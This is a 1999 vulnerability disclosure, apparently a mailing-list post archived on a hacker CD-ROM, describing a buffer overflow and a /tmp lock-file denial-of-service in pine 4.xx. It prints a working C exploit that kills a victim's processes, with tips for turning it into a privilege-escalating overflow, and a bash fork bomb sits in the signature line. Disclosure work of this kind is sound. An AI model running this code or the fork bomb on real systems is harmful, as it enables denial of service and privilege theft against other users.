home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / pine_4_xx_bof.txt < prev    next >
Encoding:
Internet Message Format  |  1999-04-11  |  2.6 KB

  1. Date: Sun, 7 Mar 1999 01:41:25 +0100
  2. From: Michal Zalewski <lcamtuf@IDS.PL>
  3.  
  4. Overflow in pine 4.xx (Linux)
  5.  
  6. pine 4.xx, at least on Linux platform, have serious security hole.
  7. When data is read from so-called mailbox lock created in /tmp directory
  8. (this happens under certain conditions - please refer exploit code below),
  9. it's stored in _too_small_ buffer. It is possible to overwrite some data,
  10. and registers as well. For testing purposes, simple exploit code presented
  11. below (vunerabilities 3 and 4) could be used - suggested changes:
  12.  
  13. write(i,"-1",2)   ->   write(i,"(about 1100 b)",1100)
  14. truncate(i,2)     ->   truncate(i,1100);
  15.  
  16. Overflow in pine might be used to gain other lusers' privledges (or,
  17. sometimes, root privledges, depending on his stupidity ;-).
  18.  
  19. Solution: you have to look for something like kill(i,SIGUSR2) in sources 
  20. and modify lines just before it ;>
  21.  
  22.  
  23. The problem is probably well known, but silently ignored by pine vendors.
  24. Unfortunately, it's possible to turn 'mostly harmless feature' in
  25. something nasty - following code allows various DoSes by killing all
  26. processes of luser (could be root?) every time he/she runs pine or
  27. receives mail via POP3 protocol:
  28.  
  29. -- lock-exploit.c --
  30. // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.
  31.  
  32. #include <sys/file.h>
  33. #include <sys/stat.h>
  34. #include <unistd.h>
  35.  
  36. main(int argc,char* argv[]) {
  37.   int i,a=0;
  38.   char s[100];
  39.   struct stat x;
  40.   if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
  41.   sprintf(s,"/var/spool/mail/%s",argv[1]);
  42.   if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  43.   sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  44.   fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  45.   while (1) {
  46.     lseek(i,0,0);
  47.     write(i,"-1",2);
  48.     ftruncate(i,2);
  49.     fsync(i);
  50.     if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
  51.       else printf("File %s already locked, wait...\n",s);
  52.     sleep(1);
  53.   }
  54. }
  55. -- eof --
  56.  
  57. Works well under Linux. Under BSD, pine seems to have broken mailbox
  58. access negotiation (fortunately ;-). No information about ipop3d.
  59.  
  60. Mainly, this vunerability demonstrates that world-writable mailbox locks
  61. in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
  62. 'harmless', while other solutions allows several DoS attacks... huh).
  63.  
  64.  
  65. _______________________________________________________________________
  66. Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
  67. [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
  68. [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
  69. Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
  70.  
  71.